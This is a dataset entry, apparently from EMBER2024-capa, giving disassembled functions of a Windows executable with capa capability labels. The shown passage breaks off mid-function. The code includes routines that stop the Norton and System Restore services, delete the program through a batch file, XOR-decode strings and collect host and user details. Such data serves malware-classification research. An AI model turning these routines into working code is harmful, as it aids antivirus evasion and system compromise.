joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dc68
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
mov eax, 0x5c7c9c
call fcn.00496c14
mov dl, 1
mov eax, dword [0x480fc4]
call fcn.004035b0
mov dword [ebp - 0x40], eax
mov word [ebp - 0x2c], 8
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x20]
mov word [ebp - 0x2c], 0x14
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
call dword [edx + 0x40]
xor ecx, ecx
mov dword [ebp - 0x48], ecx
lea eax, [ebp - 0x1d8]
push eax
push 0x202
call sub.WSOCK32.DLL_WSAStartup
test eax, eax
jne 0x40dd67
push 0x40
lea edx, [ebp - 0x218]
push edx
call sub.WSOCK32.DLL_gethostname
test eax, eax
jne 0x40dd97
lea ecx, [ebp - 0x218]
push ecx
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40dd97
jmp 0x40dd56
mov eax, dword [ebp - 0x44]
movsx edx, word [eax + 0xa]
push edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x48]
push dword [eax + edx*4]
lea ecx, [ebp - 0x224]
push ecx
call fcn.0049668c
add esp, 0xc
mov word [ebp - 0x2c], 0x20
push dword [ebp - 0x224]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
inc dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0x48]
cmp dword [eax + edx*4], 0
jne 0x40dcf8
jmp 0x40dd97
mov word [ebp - 0x2c], 0x2c
mov edx, 0x5bfdfd
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x2c], 0x38
lea eax, [ebp - 0x10]
call fcn.00401ad8
mov edx, eax
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
call sub.WSOCK32.DLL_WSACleanup
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40ddff
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov dword [ebp - 0x14], edx
mov word [ebp - 0x2c], 0x50
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x44
mov word [ebp - 0x2c], 0x5c
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x2c], 0x68
push eax
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x2c], 0x5c
inc dword [ebp - 0x20]
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40de44
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff50
mov eax, 0x5c7d7c
call fcn.00496c14
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
call fcn.00401ad8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 4
call fcn.00495a3c
pop ecx
mov dword [ebp - 0x38], eax
push 4
call fcn.00495a3c
pop ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
xor edx, edx
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x44], eax
push 8
call fcn.00495a3c
pop ecx
mov dword [ebp - 0x48], eax
jmp 0x40df07
mov edx, dword [ebp - 0x3c]
mov ecx, 0x32
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
inc dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x40], edx
mov word [ebp - 0x20], 0x2c
lea edx, [ebp - 0x7c]
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.004a46f0
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xb0]
push ecx
push dword [ebp - 0x40]
push dword [ebp - 0x38]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x44]
push reloc.WSOCK32.DLL_closesocket
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
je 0x40dec1
mov word [ebp - 0x20], 0x38
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x44
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x38
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40e570
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5c7ff8
call fcn.00496c14
push 0x104
lea edx, [ebp - 0x130]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
test eax, eax
je 0x40e5e9
mov word [ebp - 0x1c], 8
lea eax, [ebp - 4]
mov dl, byte [ebp - 0x130]
call fcn.004a45ec
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x14
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
jmp 0x40e638
mov word [ebp - 0x1c], 0x20
mov edx, 0x5bfe29
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x2c
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x1c], 0x20
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e63c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
mov eax, 0x5c80b8
call fcn.00496c14
mov dword [ebp - 0x14], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4554
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
mov word [ebp - 0x20], 0x14
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x228]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
lea eax, [ebp + 0xc]
call fcn.00401b08
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40e71c
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 8]
xor edx, edx
call fcn.004a4638
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40e7ac
mov word [ebp - 0x20], 0x38
mov ecx, dword [ebp - 0x34]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
push dword [edx]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.004a451c
mov edx, eax
inc dword [ebp - 0x14]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x20], 0x44
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x50
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x44
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40e7b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
push ebx
push esi
push edi
mov eax, 0x5c8184
call fcn.00496c14
mov dword [ebp - 0xd4], 0x94
lea edx, [ebp - 0xd4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x40e951
cmp dword [ebp - 0xc4], 2
jne 0x40e951
mov dl, 1
mov eax, dword [0x451048]
call fcn.00451148
mov dword [ebp - 0x40], eax
mov word [ebp - 0x2c], 8
mov word [ebp - 0x2c], 0x14
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x40]
call fcn.004a4488
mov word [ebp - 0x2c], 0x20
mov edx, str.SYSTEMControlSet001Services_navapsvc
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.0045132c
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x2c], 0x2c
mov edx, 0x5bfe52
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.004518fc
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
mov eax, dword [ebp - 0x40]
call fcn.004511b8
mov word [ebp - 0x2c], 0x38
mov edx, str.SYSTEMCurrentControlSetServices_navapsvc
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
call fcn.0045132c
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x2c], 0x44
mov edx, 0x5bfe83
lea eax, [ebp - 0x10]
call fcn.004a451c
inc dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x40]
call fcn.004518fc
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
mov eax, dword [ebp - 0x40]
call fcn.004511b8
mov word [ebp - 0x2c], 8
jmp 0x40e90a
push 0
push str.NET_STOP_navapsvc
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x2c], 0
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40e949
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x2c], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2c], 0x50
cmp word [ebp - 0x2a], 0
je 0x40e951
ret
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov edi, dword [ebp - 0xe0]
mov esi, dword [ebp - 0xdc]
mov ebx, dword [ebp - 0xd8]
mov esp, ebp
pop ebp
ret
Function at 0x40ec54
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
mov eax, 0x5c8348
call fcn.00496c14
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 0
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
push 2
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40ed51
push 0x1f4
lea ecx, [ebp - 0x230]
push ecx
push dword [ebp - 0x34]
call sub.USER32.DLL_GetWindowTextA
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x230]
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x20], 0x2c
lea eax, [ebp - 0xc]
mov edx, dword [ebp + 8]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.004a47a4
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
pop ecx
test cl, cl
je 0x40ed41
mov al, 1
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40ed6f
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xc8
jl 0x40ec8f
xor eax, eax
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40ed74
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 6
push dword [ebp + 8]
call sub.KERNEL32.DLL_SetFileAttributesA
pop ebp
ret

Function at 0x40ed84
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcec
mov byte [ebp - 1], 0x22
mov byte [ebp - 2], 0x25
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0x210]
push ecx
call fcn.0049687c
add esp, 8
push 0x100
lea eax, [ebp - 0x314]
push eax
lea edx, [ebp - 0x210]
push edx
call sub.KERNEL32.DLL_GetShortPathNameA
push 0x5bff39
push str..bat
lea ecx, [ebp - 0x10c]
push ecx
call fcn.004967a0
add esp, 8
push eax
call fcn.004986c4
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x40ee7d
push 0x5bff3b
push dword [ebp - 8]
call fcn.004986f8
add esp, 8
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.del__c_s_c_n
push dword [ebp - 8]
call fcn.004986f8
add esp, 0x14
movsx edx, byte [ebp - 1]
push edx
lea ecx, [ebp - 0x314]
push ecx
movsx eax, byte [ebp - 1]
push eax
push str.if_exist___c_s_c_goto_1_n
push dword [ebp - 8]
call fcn.004986f8
add esp, 0x14
movsx edx, byte [ebp - 2]
push edx
push str.del__c0_n
push dword [ebp - 8]
call fcn.004986f8
add esp, 0xc
push dword [ebp - 8]
call fcn.0049835c
pop ecx
push 0
lea ecx, [ebp - 0x10c]
push ecx
call sub.KERNEL32.DLL_WinExec
mov esp, ebp
pop ebp
ret
Function at 0x40fe40
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
mov eax, 0x5c8b60
call fcn.00496c14
lea edx, [ebp - 0x220]
push edx
push 2
call sub.WSOCK32.DLL_WSAStartup
push 0x64
lea ecx, [ebp - 0x90]
push ecx
call sub.WSOCK32.DLL_gethostname
lea eax, [ebp - 0x90]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x2c], eax
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x18], 8
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0xc]
mov eax, dword [ecx]
push dword [eax]
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.004a451c
mov edx, eax
inc dword [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x14
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x18], 8
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x4101b8
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
mov eax, 0x5c8d2c
call fcn.00496c14
mov dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x48]
push ecx
call sub.KERNEL32.DLL_GetComputerNameA
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x41025a
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x48]
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ad8
push eax
inc dword [ebp - 0x14]
call fcn.00410038
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4102a9
mov word [ebp - 0x20], 0x20
mov edx, 0x5c0233
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4102b0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x5c8dc8
call fcn.00496c14
mov dword [ebp - 0x34], 0xfa
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x130]
push ecx
call sub.ADVAPI32.DLL_GetUserNameA
test eax, eax
setne al
and eax, 1
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x410363
mov word [ebp - 0x20], 8
lea edx, [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ad8
push eax
inc dword [ebp - 0x14]
call fcn.00410038
add esp, 8
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x14
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 8
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x4103b2
mov word [ebp - 0x20], 0x20
mov edx, 0x5c023a
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x2c
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x20
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410550
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff34
push ebx
push esi
push edi
mov eax, 0x5c8f20
call fcn.00496c14
mov word [ebp - 0x24], 8
mov dword [ebp - 0xcc], 0x94
lea edx, [ebp - 0xcc]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x4106a3
cmp dword [ebp - 0xbc], 2
jne 0x4106a3
mov dl, 1
mov eax, dword [0x451048]
call fcn.00451148
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0x38]
call fcn.004a4488
mov word [ebp - 0x24], 0x14
mov edx, str.SYSTEMControlSet001Services_srservice
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045132c
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x24], 0x20
mov edx, 0x5c04e2
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.004518fc
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
mov eax, dword [ebp - 0x38]
call fcn.004511b8
mov word [ebp - 0x24], 0x2c
mov edx, str.SYSTEMCurrentControlSetServices_srservice
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.0045132c
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0x24], 0x38
mov edx, str.Start
lea eax, [ebp - 0x10]
call fcn.004a451c
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, 4
mov eax, dword [ebp - 0x38]
call fcn.004518fc
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
mov eax, dword [ebp - 0x38]
call fcn.004511b8
push 0
push str.NET_STOP_srservice
call sub.KERNEL32.DLL_WinExec
mov word [ebp - 0x24], 0
jmp 0x4106b6
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4106c8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5c8fb0
call fcn.00496c14
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4554
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a4554
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 1
lea eax, [ebp - 4]
call fcn.00403a98
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x410745
lea eax, [ebp - 4]
call fcn.00401b08
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x410729
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x410798
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x5c9034
call fcn.00496c14
mov dword [ebp - 0xc], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4554
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
lea edx, [ebp + 0xc]
lea eax, [ebp - 4]
call fcn.004a4554
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 8
mov byte [ebp - 0x29], 0x15
lea eax, [ebp - 4]
call fcn.00403a98
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x30]
jge 0x410815
lea eax, [ebp - 4]
call fcn.00401b08
mov edx, dword [ebp - 0x34]
mov cl, byte [ebp - 0x29]
xor byte [eax + edx], cl
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x30]
jl 0x4107f9
mov word [ebp - 0x18], 0x20
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x18], 0x2c
push eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xc]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x18], 0x20
inc dword [ebp - 0xc]
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x4109f8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
mov eax, 0x5c9128
call fcn.00496c14
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x410a2e
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
jmp 0x410bc7
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x410bb3
xor eax, eax
mov dword [ebp - 0x4c], eax
mov word [ebp - 0x2c], 8
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx*4 + 0x4ba498]
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x20]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
call fcn.00410798
add esp, 8
lea eax, [ebp - 8]
call fcn.00401b08
push eax
call sub.USER32.DLL_CharLowerA
push eax
lea eax, [ebp - 0x10]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x20]
mov eax, dword [eax]
pop edx
call fcn.0048b828
lea eax, [ebp - 0x10]
call fcn.00401b08
push eax
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496830
add esp, 8
test eax, eax
sete dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop ecx
test cl, cl
je 0x410b7d
mov word [ebp - 0x2c], 0x14
lea eax, [ebp - 0x18]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x14]
call fcn.004a451c
inc dword [ebp - 0x20]
mov eax, dword [eax]
